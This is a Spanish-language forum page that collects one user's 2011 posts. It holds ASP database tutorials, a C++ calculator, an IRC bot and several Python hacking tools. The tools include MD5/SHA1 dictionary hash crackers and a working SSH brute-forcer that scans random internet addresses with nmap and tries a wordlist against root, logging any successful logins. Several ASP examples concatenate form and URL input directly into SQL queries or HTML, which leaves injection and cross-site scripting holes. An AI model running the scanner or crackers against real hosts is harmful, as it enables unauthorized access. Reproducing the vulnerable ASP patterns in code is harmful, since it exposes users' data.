Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - @ed33x

#1
1 - Conexion con DSN (ejemplo para Access)

La conexion con DSN es la mas comoda, pero solo se puede utilizar si tenemos acceso al Panel de Control de la maquina servidor. Por supuesto si estamos contruyendo una intranet tenemos el server a nuestro alcanze y a su Panel de Control.
Si simplemente estamos aprendiendo ASP y usamos el PWS (Personal Web Server) o el IIS 4 de NT tambien disponemos de esta comodidad.
Veamos como se realiza la conexion a una base de datos de Microsoft Access:

Creamos nuestra base de Datos en Microsoft Access y la guardamos. Luego vamos a Inicio > Configuracion > Panel de Control y alli elegimos Fuentes de Datos ODBC
Al ingresar nos encontramos con una pantalla que es el administrador de origenes de datos ODBC. En la solapa DSN de Usuario presionamos el boton Agregar. Luego seleccionamos Microsoft Access Driver (*.mdb) y presionamos Finalizar. Ahora se hara la conexion ODBC. Presionamos el boton Seleccionar y elegimos nuestra Base de Datos e ingresamos el nombre de la base en el primer campo.
Por ultimo el boton Aceptar
Si todo salio bien deberi­a aparecer el nombre de nuestra Base de Datos en la solapa DSN de usuario y ya tendremos hecha nuestra conexion ODBC a BS.

Ahora debemos conectar la base de datos en la pagina ASP

Código: asp.net
<%
'Definimos la variable para la conexion.
Dim Conex
Set Conex = Server.CreateObject ("ADODB.Connection")
'y ya estamos conectados a nuestra base de datos.
Conex.Open "nombre de la BD"
'aqui abrimos la tabla. ...
%>


Como vieron no es algo dificil... solo hay que aprenderser la linea de conexion. Pero recuerden que esto no servira si suben su BS y su sitio a internet. Para esto deben usar la siguiente conexon.

2 - Conexion sin DSN

Este tipo de conexion es mas complicada, pero es lo que debemos utilizar si queremos olvidar el panel de control, ya que hacemos la conexion a la base de datos mediante comandos. Ademas es mas rapida ;)
Observar bien bien la sintaxis... ya que es lo que nos trae los problemas siempre.

Para Access usando ODBC:
Código: asp.net
<%
Dim Conex
'Creamos el objeto de conexion ahora...
Set Conex = Server.CreateObject ("ADODB.Connection")
Conex.open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=C:\misitio\db\mibase.mdb;"
%>


Para Access 97 usando OLEDB:
Código: asp.net
<%
Dim Conex
'Creamos el objeto de conexion ahora...
Set Conex = Server.CreateObject ("ADODB.Connection")
Conex.Open "Provider=Microsoft.Jet.OLEDB.3.51; Data Source=C:\misitio\db\mibase.mdb;"
%>


Para Access 2000 usando OLEDB:
Código: asp.net
<%
Dim Conex
'Creamos el objeto de conexion ahora...
Set Conex = Server.CreateObject ("ADODB.Connection")
Conex.open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=C:\misitio\db\mibase.mdb;"
%>


Para SQL Sever:

Código: asp.net
<%
Dim Conex
'Creamos el objeto de conexion ahora...
Set Conex = Server.CreateObject ("ADODB.Connection")
Conex.Open "driver={SQL Server};server=TU_SERVIDOR; database=NOMBRE_BASE; uid=sa;pwd="
%>


Importante: En los 3 primeros ejemplos, referidos todos a conexiones con bases de datos Access, use un path fijo. Lo puse asi, para el mejor entendimiento, pero generalmente se hace uso de la funcion Server.MapPath()  la cual devuelve el path donde ejecutamos el script

Les intentare explicar el uso de esa funcion mediante un ejemplo que no tiene que ver con conexion a base de datos, pero intentare que se relacione.
Código: asp.net
<%
Dim path
'guardamos en la variable path lo que devuelve la funcion
path = Server.MapPath("./")
Response.Write path
%>


El codigo ejecutado, muestra el contenido de la variable path
Como ven la variable path contiene el directorio donde se ejecuta el script.



Fuente :soloasp.com.ar
#2
Como actualizar un registro ya existente

Para mostrar como se actualiza un registro presente en nuestra base de datos, vamos a hacerlo a partir de un caso un poco mas complejo para que empecemos a familiarizarnos con estas operaciones. Realizaremos un par de scripts que permitan cambiar el numero de telefono de las distintas personas presentes en nuestra base. El nombre de estas personas, asi­ como el nuevo numero de telefono, seran recogidos por medio de un formulario.

El archivo del formulario va a ser esta vez un script ASP en el que efectuaremos una llamada a nuestra base de datos para construir un menu desplegable donde aparezcan todos los nombres. La cosa quedari­a asi­:

Código: html5
<HTML>
<HEAD>
<TITLE>Actualizar1.asp</TITLE>
</HEAD>
<BODY>
<div align="center">
<h1>Actualizar un registro</h1>
<br>


<%
'Instanciamos y abrimos nuestro objeto conexion
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Mibase"
%>



<FORM METHOD="POST" ACTION="actualizar2.asp">
Nombre<br>
<%
'Creamos la sentencia SQL y la ejecutamos
sSQL="Select nombre From clientes Order By nombre"
set RS = Conn.Execute(sSQL)
%>
<select name="nombre">
<%
'Generamos el menu desplegable

Do While not RS.eof%>

<option><%=RS("nombre")%>

<%RS.movenext

Loop

%>

</select>

<br>

Telefono<br>

<INPUT TYPE="TEXT" NAME="telefono"><br>

<INPUT TYPE="SUBMIT" value="Actualizar">

</FORM>

</div>

</BODY>
</HTML>

La manera de operar para construir el menu desplegable es la misma que para visualizar la tabla. De nuevo empleamos un bucle Do While que nos permite mostrar cada una de las opciones.

El script de actualizacion sera muy parecido al de insercion:
<TITLE>Actualizar2.asp</TITLE>
</HEAD>
<BODY>

<%
'Recogemos los valores del formulario
nombre=Request.Form("nombre")
telefono= Request.Form("telefono")

'Instanciamos y abrimos nuestro objeto conexion
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Mibase"

'Ahora creamos la sentencia SQL
sSQL="Update Clientes Set telefono='" & telefono & "' Where nombre='" &
nombre & "'"

'Ejecutamos la orden
set RS = Conn.Execute(sSQL)
%>

<h1><div align="center">Registro Actualizado</div></h1>
<div align="center"><a href="lectura.asp">Visualizar el contenido de la
base</a></div>

<%
'Cerramos el sistema de conexion
Conn.Close
%>
</BODY>
</HTML>


Nada que comentar al respecto salvo la estructura de la sentencia SQL que en este caso realiza un Update en lugar de un Insert. Aconsejamos, como para el caso precedente imprimir el valor de sSQL de manera a ver como queda la sentencia una vez construida.




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#3
En este arti­culo les mostraremos algunos trucos y consejos para agilizar la velocidad en que cargan tus paginas programadas en ASP. En muchos casos, estas cargan lentamente ya que estan programadas con algunos errores que llevan a sobrecargar los recursos del servidor dejando el sitio sin funcionar o con escasos recursos.

Estado de las sesiones (Session State)
Si no vamos a utilizar ninguna variable de tipo session dentro del sitio, podemos deshabilitarlas. Debemos ubicar las siguientes li­neas al principio del archivo .asp:

Código: asp.net

<%
@ language = "VBScript"
ENABLESESSIONSTATE = False
%>

Response.Buffer
Esta li­nea le dira al Servidor que ejecute todo el codigo despues de enviar cualquier informacion al cliente.
Código: asp.net

<%
Response.Buffer = True
%>

Cerrar las conexiones y recordsets
Cuando realizamos cualquier tipo de conexion debemos asegurarnos de cerrarla al finalizar el script. Ademas de practicar la codificacion en ASP nos permite prevenir la corrupcion de una base de datos Access.
Código: asp.net

<%
recorset.close
conexion.close
set recordset=Nothing
set conexion=Nothing
%>

Option Explicit
Usando esta opcion es posible debuguear los scripts mas rapidamente. Ademas ayudara a aprender a la fuerza la codificacion en ASP, ya que habilitando esta opcion deberemos declarar todas las variables.
Código: asp.net

<%
OPTION EXPLICIT
%>




Informe (ASP) de fabian muller
Webmaster de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#4
En este arti­culo veremos como agregar/eliminar/modificar datos de una base de datos Access utilizando ADO.

Agregando
Almacenaremos los datos utilizando la propiedad AddNew del Recordset, y luego la actualizamos la base de datos con la propiedad Update.

Código: asp.net

<%
'Creamos la conexion y el recordset
set cnn = Server.CreateObject("ADODB.Connection")
set rst = Server.CreateObject("ADODB.RecordSet")

'Abrimos la conexion por DNS
cnn.Open "dnsusuarios"

'Ejecutamos una consulta SQL a la tabla
sqltext = "SELECT * FROM tblUsuarios"
rst.Open sqltext,cnn,3,3

'Almacenamos los datos en variables (pueden ser tomados de un formulario, etc.)
nombre="Fabian"
apellido = "Muller"
email="[email protected]"

rst.AddNew
rst("nombre") = nombre
rst("apellido") = apellido
rst("email") = email
rst.update

'Cerramos el recordset y la conexion
rst.Close
set rst = Nothing
cnn.Close
set cnn = Nothing
%>

Modificando
Utilizando la misma tabla, modificaremos un registro de la base de datos, el cual puede ser especificado a traves de una variable session, formulario, querystring, entre otros. En este caso pasaremos el parametro EMAIL por un querystring (ejemplo: [email protected])
Código: asp.net

<%
'Creamos la conexion y el recordset
set cnn = Server.CreateObject("ADODB.Connection")
set rst = Server.CreateObject("ADODB.RecordSet")

'Abrimos la conexion por DNS
cnn.Open "dnsusuarios"

'Ejecutamos una consulta SQL a la tabla
sqltext = "SELECT * FROM tblUsuarios where email ='" & request.querystring("email")&"'"
rst.Open sqltext,cnn,3,3

'Almacenamos los datos en variables (pueden ser tomados de un formulario, etc.)
nombre="Fabian"
apellido = "Muller"
email="[email protected]"

'Modificamos los datos
rst("nombre") = nombre
rst("apellido") = apellido
rst("email") = email
rst.update

'Cerramos el recordset y la conexion
rst.Close
set rst = Nothing
cnn.Close
set cnn = Nothing
%>

Eliminando
Para eliminar un registro realizaremos utilizaremos el mismo parametro que el anterior (ejemplo: [email protected])
Código: asp.net

<%
'Creamos la conexion y el recordset
set cnn = Server.CreateObject("ADODB.Connection")
set rst = Server.CreateObject("ADODB.RecordSet")

'Abrimos la conexion por DNS
cnn.Open "dnsusuarios"

'Ejecutamos una consulta SQL a la tabla, y eliminamos el registro
sqltext = "DELETE * FROM tblUsuarios where email ='" & request.querystring("email")&"'"
rst.Open sqltext,cnn

'Cerramos el recordset y la conexion
rst.Close
set rst = Nothing
cnn.Close
set cnn = Nothing
%>

De esta manera podemos realizar un ABM (Altas, Bajas y Modificaciones) de los registros almacenados en una base de datos.




Informe (ASP) de fabian muller
Webmaster de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta[/code]
#5
Uno de los problemas mas ti­picos con el que se enfrenta todo programador ASP, especialmente al principio, es como aceptar comillas simples (') en una sentencia SQL.

Pues es muy sencillo, para aceptar una comilla simple hay que escaparla, poniendo 2. Igual que cuando queremos escribir una comilla doble en un Response.Write ponemos dos seguidas.

Si estas recogiendo los datos desde un formulario por ejemplo, un pequeño uso de Replace nos hara esto:

Código: asp.net
<%
Dim texto, num

num = 5
texto = Request.Form("Texto")
texto = Replace(texto, "'", "''")
SQL="INSERT INTO Tabla (Texto, Numero) VALUES (" & texto & ", " & num &")"
...
%>


Muy sencillo. Replace acepta como primer argumento la cadena donde se va a reemplazar, como segundo la cadena a buscar y como tercer la cadena de reemplazo. Asi­ que ponemos como segundo argumento una comilla simple y como tercer dos comillas simples juntas (ambos entre comillas dobles, claro).



Fuente:aspfacil.com
#6
Para trabajar con archivos en ASP debemos utilizar el Objeto Sistema de Archivos, en adelante FSO, que crearemos de la siguiente manera:
Código: asp.net
<% 
'Creamos el objeto FSO
set FSO = server.createObject("Scripting.FileSystemObject")

'...

Set FSO = Nothing
%>


Ahora ya podemos crear descriptores de fichero usando la funcion OpenTextFile del FSO y a partir de ahi­ empezar a leer y escribir:
Código: asp.net
<% 
set FSO = server.createObject("Scripting.FileSystemObject")
'Creamos el descriptor de fichero
Set FD = FSO.OpenTextFile("c:\ejemplo.txt", 1)

'...

Set FSO = Nothing
%>


En el ejemplo abrimos un descriptor de fichero apuntando al fichero "c:\ejemplo.txt" en modo de lectura (1), si quisieramos que fuera en modo de escritura seri­a con un 2.

Tambien podemos pasar un tercer parametro a OpenTextFile, para indicar si crear o no el fichero en caso de no existir (True o False).

Leer el contenido
Para leer el contenido de un archivo abierto en modo de escritura, utilizaremos la funcion ReadAll del Objeto Descriptor de Fichero (FD), que nos devolvera el contenido del archivo:
Código: asp.net
<% 
set FSO = server.createObject("Scripting.FileSystemObject")
Set FD = FSO.OpenTextFile("c:\ejemplo.txt", 1)
'Escribimos su contenido
Response.Write "El contenido es:<br>" & FD.ReadAll
Set FSO = Nothing
%>


Escribir al archivo
Ahora que sabemos como leer del archivo, veamos como escribir en el, una vez creado el descritor de escritura, haremos lo siguiente:
Código: asp.net
<% 
set FSO = server.createObject("Scripting.FileSystemObject")
Set FD = FSO.OpenTextFile("c:\ejemplo.txt", 1)
'Escribimos su contenido
FD.WriteLine "Escribimos en el fichero"
Set FSO = Nothing
%>


Vemos como escribimos de manera sencilla gracias al metodo writeLine.



Fuente: lawebdelprogramadr
#7
Zona Webmaster / [ASP.NET] Paso de variables por URL
Febrero 02, 2011, 02:02:16 PM
Cuando accedamos a una pagina ASP, le pasaremos los parametros de la siguiente manera: pagina.asp?variable1=valor1&variable2=valor2, de manera que podremos configurar la pagina dependiendo de los valores de las variables pasadas.

Para leer la variable de la URL usaremos request.Querystring (nombre) que nos devolvera el valor de la variable pasada por URL que tiene el nombre pasado por parametro a la funcion Querystring:
Código: asp.net
<% 
Dim variable1, variable2
variable1=request.Querystring ("variable1")
variable2=request.Querystring ("variable2")
response.write ("<b>variable1: </b>" & variable1)
response.write ("<br><b>variable2: </b>" & variable2)
%>


Observar que antes de usar las variables variable1 y variable2 en la pagina, tenemos que definirlas haciendo Dim variable1, variable2.

Despues les daremos valor con la funcion request.Querystring y ya podremos escribir el resultado con response.write para conseguir este claro ejemplo.

Por ejemplo, vamos a imaginar que tenemos una pagina de caratulas, y en una sola pagina queremos que muestre una imagen indicada en una variable pasada por URL de la siguiente manera:

caratula.asp?imagen=234.gif

Y el codigo que usaremos sera:
Código: asp.net
<% 
response.write ("<img src=" & request.Querystring ("imagen") & ">")
%>


Espero que este arti­culo os sea de utilidad, ya se que el nivel no es muy avanzado pero lo que se trata en el es basico para cualquier aplicacion web.

Nota: Algunos buscadores como google no indexan paginas con segun que variable en la url, asi pues, evitaremos usar la variable id si queremos nuestra web en google.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#8
Códigos Fuentes / Calculadora basica :: eDeex
Enero 30, 2011, 03:56:31 PM
Código: cpp

#include <iostream>
void exit()
{
system("pause");
}
//-------------------------
void encabezado()
{
using namespace std;
cout << "Calculadora basica C++" << endl;
cout << "De [email protected] || Para www.underc0de.org" << endl;
cout << "-------------------------------" << endl;
cout << " 1 = Sumar " << endl;
cout << " 2 = Restar " << endl;
cout << " 3 = Multiplicar " << endl;
cout << " 4 = Dividir " << endl;
cout << " 5 = Salir " << endl;
cout << "-------------------------------" << endl;

}
//-------------------------
int main()
{
using namespace std;
encabezado();
int resultado_menu;
cin >> resultado_menu;
switch (resultado_menu)
{
case 1:
cout << "Introduce las 2 cifras" << endl;
int a_mas, b_mas, resultado_mas;
cin >> a_mas;
cout << "+ " << endl;
cin >> b_mas;
resultado_mas = a_mas + b_mas;
cout << "Resultado: "  << resultado_mas << endl;
break;
case 2:
cout << "Introduce las 2 cifras" << endl;
int a_menos, b_menos, resultado_menos;
cin >> a_menos;
cout << "- " << endl;
cin >> b_menos;
resultado_menos = a_menos - b_menos;
cout << "Resultado: "  << resultado_menos << endl;
break;
case 3:
cout << "Introduce las 2 cifras" << endl;
int a_multi, b_multi, resultado_multi;
cin >> a_multi;
cout << "* " << endl;
cin >> b_multi;
resultado_multi = a_multi * b_multi;
cout << "Resultado: "  << resultado_multi << endl;
break;
case 4:
cout << "Introduce las 2 cifras" << endl;
float a_divide, b_divide, resultado_divide;
cin >> a_divide;
cout << "/ " << endl;
cin >> b_divide;
resultado_divide = a_divide / b_divide;
cout << "Resultado: "  << resultado_divide << endl;
break;
case 5:
cout << "Visita www.underc0de.org" << endl;
break;
default:
cout << "ERROR!!" << endl;
break;

}

exit();
}


Estoy empezando con C++, dentro de poco la are con interface grafica.
Saludos
#9
Python / Md5 Hash cracker (GUI)
Enero 30, 2011, 10:14:04 AM


Código: python
#MD5 Cracker (GUI Version)
#d3hydr8[at]gmail[dot]com
#http://www.darkc0de.com

from Tkinter import *
import tkFileDialog, md5

class Application(Frame):
def __init__(self, master):
Frame.__init__(self, master)
self.grid()
self.create_widget()
def create_widget(self):

self.lbl = Label(self, text = "ENTER MD5: ")
self.lbl.grid(row = 2, column = 0, sticky = E)

self.pw_ent = Entry(self, width = 32)
self.pw_ent.grid(row = 2, column = 1, sticky = E)

self.submit_bttn = Button(self, text = "Choose Wordlist", command = self.loadwords)
self.submit_bttn.grid(row = 5, column = 1, sticky = W)

self.txtbox = Text(self, width = 55, height = 8, font=('Georgia', 8), bg = "#CCC", wrap = WORD)
self.txtbox.grid(row = 7, column = 0, columnspan = 2, sticky = W)

self.bttn1 = Button(self, text = "Crack", font=('courier', 10, 'bold'), command = self.crack)
self.bttn1.grid(row = 9, columnspan = 2, sticky = "WE")

self.clear = Button(self, text="Clear", font=('Georgia', 8), command = self.clear)
self.clear.grid(row = 10, column = 1,sticky= E)

def loadwords(self):
global wordlist
file = tkFileDialog.askopenfile(parent=root,mode='r',title='Choose a file')
wordlist = file.readlines()
self.txtbox.insert(END, "Loaded: "+str(len(wordlist))+" words")

def crack(self):
pw = self.pw_ent.get()
if len(pw) == 32:
self.txtbox.insert(END, "\nCracking: "+pw)
for word in wordlist:
hash = md5.new(word.replace("\n","")).hexdigest()
if pw == hash:
self.txtbox.insert(END, "\n\nCracked: "+word)
break
self.txtbox.insert(END, "\nComplete")
else:
self.txtbox.insert(END, "\nImproper MD5 Length: "+str(len(pw)))

def clear(self):
self.pw_ent.delete(0, END)
    self.txtbox.delete(0.0, END)
wordlist = []

root = Tk()
root.title("MD5 Cracker")
root.geometry("350x200")
app = Application(root)
root.mainloop()
#10
Python / SSH BruteForce
Enero 30, 2011, 10:13:43 AM
Código: python
#!/usr/bin/python
#SSH BruteForcer that scans for random
#open ssh ports using nmap and then brute
#forces them.

#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import sys, time, StringIO, commands, re

#Set the successful login file.
save_file = "SSH_Logins.txt"
#Set verbose mode: 1=on 0=off
verbose = 1
#Set the user to use.
user = "root"

try:
import pexpect, pxssh
except(ImportError):
print "\nYou need the pexpect module."
print "http://www.noah.org/wiki/Pexpect\n"
sys.exit(1)

def scan():
args = 'nmap -iR 1 -p 22 -open | grep open -B 3'
nmap = StringIO.StringIO(commands.getstatusoutput(args)[1]).read()
ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", nmap)
if ipaddr:
    return ipaddr[0]

def brute(ip, word):
if verbose != 0:
print "Trying:",word
      try:
        s = pxssh.pxssh()
        s.login (ip, user, word, login_timeout=10)
        s.sendline (command)
        s.prompt()
        print "\n",s.before
        s.logout()
print "\t[!] Login Success:",user, word,"\n"
logins.writelines("SSH Login:"+ip+":22 "+user+" "+word+"\n")
    except Exception, e:
        #print "[-] Failed"
pass
except KeyboardInterrupt:
print "\n[-] Quit\n"
logins.close()
sys.exit(1)

print "\n\t   d3hydr8:darkc0de.com sshBrute/Random v1.0"
print "\t----------------------------------------------"

if len(sys.argv) != 3:
print "\nUsage : ./sshbrute_random.py <how many> <wordlist>"
print "Eg: ./sshbrute_random.py 1000 words.txt\n"
sys.exit(1)

num = sys.argv[1]
command = 'uname -a'
logins = open(save_file, "a")

try:
words = open(sys.argv[2], "r").readlines()
except(IOError):
  print "\n[-] Error: Check your wordlist path\n"
  sys.exit(1)

print "\n[+] Loaded:",len(words),"words"
print "[+] User:",user
print "[+] Save file:",save_file
if verbose != 0:
print "[+] Verbose Mode: On"
else:
print "[+] Verbose Mode: Off"
print "[+] Scanning:",num,"ips\n"

for x in xrange(int(num)):
print "[-] Scanning:",x+1,"of",num
ip = scan()
if ip != None:
print "\n\t[+] BruteForcing:",ip,"\n"
for word in words:
#Change this time if needed
time.sleep(0.5)
brute(ip, word.replace("\n",""))
logins.close()
print "\n[-] Done\n"
#11
Python / Daemons en Python
Enero 30, 2011, 10:12:14 AM
Código: python

By xianur0
def constructor(): #definimos el constructor del daemon
try:
if os.fork() > 0: os._exit(0) #sale si el fork no trabaja bien
except OSError, error:
print 'Error En Fork: %d (%s)' % (error.errno, error.strerror) #lanza el error
# de ejecucion del fork
os._exit(1)
os.chdir('/')
os.setsid()
os.umask(0)
try:
pid = os.fork() #obtiene el PID con el que trabajara nuestro daemon
if pid > 0: #si el pid es mayor a 0 el fork fue correcto
# y tenemos un lugar para nuestro daemon :)..
#Aqui Seria Lo que ejecutara el crearse el daemon, bien podemos solo imprimir el PID
os._exit(0)
except OSError, error:
print 'Error en Fork: %d (%s)' % (error.errno, error.strerror)
os._exit(1)
#Aqui estaria la funcion del daemon (lo que hara nuestro daemon)
if __name__ == '__main__':

constructor() #cargamos nuestro constructor del daemon :)...
#12
Python / MD5 Hash Brute Force con Diccionario
Enero 30, 2011, 10:11:37 AM
Código: python
#!/usr/bin/env python

import md5, sys, hashlib

def main():
if len(sys.argv) == 4:
if sys.argv[1] == '-e':
encriptar()
else:
uso()
elif len(sys.argv) == 5:
if sys.argv[1] == '-c':
crakeo()
else:
uso()
else:
uso()

def uso():
print "Encriptador y crakeador:"
print "Forma de uso:"               
print "Para encriptar: %s y -e -opcion palabra" % sys.argv[0]
print "Para crakear: python %s -c -opcion hash diccionario.txt" % sys.argv[0]
print "opciones: -md5 || -sha1"
print "Kalith: Kalith.9[at]gmail[dot]com"
print "http://0x59.es"

def crakeo():
a = False
hash= sys.argv[3]
try:
dicc= open((sys.argv[4]), 'r')
if sys.argv[2] == '-md5':
crak_md5(a, hash, dicc)
elif sys.argv[2] == '-sha1':
crak_sha1(a, hash, dicc)
else:
uso()
except IOError:
print "Debe ser un archivo de texto valido... verificalo porfavor"

def crak_md5(a, hash, dicc):
if len(hash) == 32:
print "El hash esta siendo crakeado... espera porfavor.."
for i in dicc.read().split():
PalabraEn= md5.new(i).hexdigest()
if PalabraEn==hash:
print "%s es el producto encriptado de %s" % (hash, i)
a= True
break
if not a:
print "El hash no se pudo crakear..."
dicc.close()
else:
print "Debe estar en md5"

def crak_sha1(a, hash, dicc):
if len(hash) == 40:
print "El hash esta siendo crakeado... espera porfavor.."
for i in dicc.read().split():
PalabraEn= hashlib.sha1(i).hexdigest()
if PalabraEn==hash:
print "%s es el producto encriptado de %s" % (hash, i)
a= True
break
if not a:
print "El hash no se pudo crakear..."
dicc.close()
else:
print "Debe estar en sha1.."

def encriptar():
if sys.argv[2] == '-md5':
print encr_md5()
elif sys.argv[2] == '-sha1':
print encr_sha1()
else:
uso()

def encr_md5():
return "El resultado es: %s" % md5.new(sys.argv[3]).hexdigest()

def encr_sha1():
return "El resultado es: %s" % hashlib.sha1(sys.argv[3]).hexdigest()

main()
#13
Python / IRC Bot
Enero 30, 2011, 10:11:18 AM
Código: python
#!/usr/bin/env python

# This is a just for fun experiment bot to learn how IRC works
# My name is Andre and I go by the handle Tr1pX
# Feel free to contact me floridait[--at--]gmail[---dot---]com
# This bot was tested on irc.bluehell.org

import sys
import socket
import string
import time
import os # when I use this import in linux it works but you might have to change it for winblows

# here are our connection variables
HOST="irc.bluehell.org"
PORT=6667
REALNAME="Ceasar"
# the readbuffer stores all the data the server send to us
readbuffer=""
# here we give the bot a name
try:
nickname = sys.argv[1]

print "[+] Joining with name "+nickname
except IndexError:
print '-This bot is designed for BlueHell-'
print '-----Please use xbot.py <nick>-----'
sys.exit()

CHAN='#bhf'
NICK=nickname
IDENT=NICK
# here we connect to the irc server
s=socket.socket( )
s.connect((HOST, PORT))
s.send("NICK %s\r\n" % NICK)
s.send("USER %s %s bla :%s\r\n" % (IDENT, HOST, REALNAME))
# here are some other variables that we need to set
BOTOWNER = 'Tr1pX'
things_to_say = ['Here\'s 20 cents. Call all your friends and bring back some change! ',
'Any similarity between you and a human is purely coincidental! ',
'Calling you stupid would be an insult to stupid people. ',
'Do you ever wonder what life would be like if you\'d had enough oxygen at birth? ',
'Do you want people to accept you as you are or do you want them to like you? ',
'Do you still love nature, despite what it did to you? ',
'Don\'t you need a license to be that ugly? ',
'Every person has the right to be ugly, but you abused the privilege! ',
'You are the kind of a man that you would use as a blueprint to build an idiot. ']
#here goes our functioning part


def ai (tmp):
msgstrip = tmp.rstrip().split(' ', 3) # seperate the message text from the rest
msgtrigger = msgstrip[3]
sender = msgstrip[0].strip(':').split('!')[0] #here we get the command givers name

# now we define what happens if we get certain words
if msgstrip[1] == "PRIVMSG" and msgstrip[2] == CHAN or NICK:
if msgtrigger == ':'+NICK+':':
print "[+] %s mentioned your name!" % sender #this is for output to the console the bot is running in
the_msg = ' I am busy right now! I\'ll brb '+sender
msg_sender(CHAN, the_msg) # remeber to put CHAN in there for the destination

if msgtrigger == ':lol':
print "[+] %s typed a known trigger" % sender
the_msg1 = sender+' is laughing out loud!'
msg_sender(CHAN, the_msg1) # remeber to put CHAN in there for the destination

if msgtrigger == ':hmm':
print "[+] %s typed a known trigger" % sender
the_msg2 = 'What are you thinking about so hard '+sender+'?'
msg_sender(CHAN, the_msg2) # remeber to put CHAN in there for the destination

if msgtrigger == ':hello':
print "[+] %s typed a known trigger" % sender
the_msg3 = 'Hello '+sender+'!'
msg_sender(CHAN, the_msg3) # remeber to put CHAN in there for the destination

if msgtrigger == ':lmao':
print "[+] %s typed a known trigger" % sender
the_msg5 = sender+' is laughing his a$$ off!'
msg_sender(CHAN, the_msg5)

# here we are going to write more functional commands
if msgtrigger == ':!change.name':
print "[+] %s gave the command to change the name" % sender
the_msg6 = 'OK! '+sender+', I will change my name now.'
msg_sender(CHAN, the_msg6)
recon_newnick(CHAN, sender)

if msgtrigger == ':!exit':
print "[+] %s gave me the command to exit" % sender
the_msg7 = 'OK! '+sender+', let me check if you have permission to turn me off.'
msg_sender(CHAN, the_msg7)
permission(CHAN, sender)

if msgtrigger == ':!commands':
print "[+] %s has requested a list of commands" % sender
the_msg8 = 'OK! '+sender+', here come my commands:'
msg_commands = '[1] !change.name [2] !commands [3] !exit [4] !op.me [5] !diss.me [#] More to come: '+sender
msg_sender(CHAN, the_msg8)
msg_sender(CHAN, msg_commands)

if msgtrigger == ':!op.me':
print "[+] %s wants me to give him op" % sender
the_msg9 = 'OK! '+sender+', let me see if I can give you Op status.'
msg_sender(CHAN, the_msg9)
give_op(CHAN, sender)

if msgtrigger == ':!diss.me':
print "[+] %s typed a known trigger" % sender
the_msg10 = 'Ok! '+sender+' the following apply to you!'
msg_sender(CHAN, the_msg10)
x = 0
for text in things_to_say:
x = x + 1
text = str(x) + '. ' + text
time.sleep(3)
msg_sender(CHAN, text)

# if msgtrigger == ':!create.army':
# print "[+] %s is trying to load more bots" % sender
# the_msg11 = 'OK! '+sender+', I am getting back-up now, are you sure? ~(!create.army!yes / !create.army!no)~'
# msg_sender(CHAN, the_msg11)
#
# if msgtrigger == ':!create.army!yes':
# print "[+] %s has confirmed that he wants more bots" % sender
# msg_yes = 'Ok! '+sender+', as you wish!'
# msg_sender(CHAN, msg_yes)
# more_bots()
#
# if msgtrigger == ':!create.army!no':
# print "[+] %s has canceled and wants no more bots"
# msg_no = 'OK! '+sender+', I have cancelled your request'
# msg_sender(CHAN, msg_no)

#def more_bots (): # this function does work but most irc servers have a host session limit
# b = 0 # so after 3 connects from one host they will be created but the old ones disconnect
# while b < 5: # here you can set the number of bots to enter
# time.sleep(5)
# b = b + 1
# os.popen('python soldier.py soldier'+str(cool.gif) # i dont know if this works in windows but it does in linux



def give_op (channel, commander): # this function allows the bot to give the botowner op only if
if commander == BOTOWNER: # the bot has op status though obviously
print "[+] %s is recordnized as a authorized user" % commander
s.send("MODE "+channel+' +o '+commander+'\r\n')
op_msg = commander+', if I had the power to OP you, then you should be OP now!'
msg_sender(channel, op_msg)
time.sleep(5) # most of these sleep commands just keep the bot from flooding
commander = ''

elif commander != BOTOWNER:
print "[+] %s has no authority for OP" % commander
denied_op_msg = 'I am sorry '+commander+', but you don\'t have permission to be OPed'
msg_sender(channel, denied_op_msg)
time.sleep(5)
commander = ''



def permission (channel, commander): # this function is to shut the bot down with !exit, it checks your nick
if commander == BOTOWNER : # or botowner variable to see if the commander is authorized
print "[+] Shutting down connection"
shutdown_msg = '[+]Shutting Down[+] Good Bye '+commander+'!'
msg_sender(channel, shutdown_msg)
s.send("PART \r\n")
time.sleep(5)
sys.exit()

elif commander != BOTOWNER:
print "[+] %s has no proper authority!" % commander
denied_msg = '[+]Shut down denied[+] '+commander+' has no authority!'
msg_sender(channel, denied_msg)
time.sleep(5)
commander = ''


def recon_newnick (channel, commander): # this function lets you command the bot to change its name to yournicks_p3t
s.send("PART \r\n")
s.send("NICK "+commander+'s_p3t \r\n')
s.send("JOIN "+channel+'\r\n')

time.sleep(10)
confirm_msg = 'I changed my name '+commander+', like you wanted me to.'
msg_sender(channel, confirm_msg)

commander = '' # we have to clear commander to avoid errors like wrong sender or multiple


def msg_sender (destination, message): # this is the communicator, it sends all messages to irc for processing
s.send("PRIVMSG "+destination+" :"+message+"\r\n")
time.sleep(5)
message = '' # we have to make sure that message is empty before getting another trigger

def connect_to_channel (check): # I wrote this function to make the bot run smoother by not always running the same
try: # loop over and over trying to connect to the same channel
connected = check.rstrip().split(' ', 3)
are_we_con = connected[2]
if are_we_con != CHAN: # check to see if we already joined the channel
s.send('JOIN '+CHAN+'\r\n') #here we connect to the channel
except IndexError:
print "[+] Ideling"
#here ends our function

while 1: # this is our connection loop
readbuffer=readbuffer+s.recv(1024) # here we get data no more than 1024 bytes
chan_check = readbuffer # here i set up a test variable to search for data
connect_to_channel(chan_check) # here i call my connection function
if readbuffer.find('PRIVMSG') != -1: # here we get the data ready for processing for the ai() function
ai(chan_check) # this sends all data to the ai() function so it recorgnizes the triggers
temp=string.split(readbuffer, "\n")
readbuffer=temp.pop( ) # remove our last line to get room for the next
for line in temp:
line=string.rstrip(line)
line=string.split(line)
print "[+] %s" % line # this line helps me right my other function to see some output

if(line[0]=="PING"): # every bot needs to tell IRC that they are alive here
s.send("PONG %s\r\n" % line[1])
#14
Python / MSaccess Brute Force
Enero 30, 2011, 10:10:52 AM
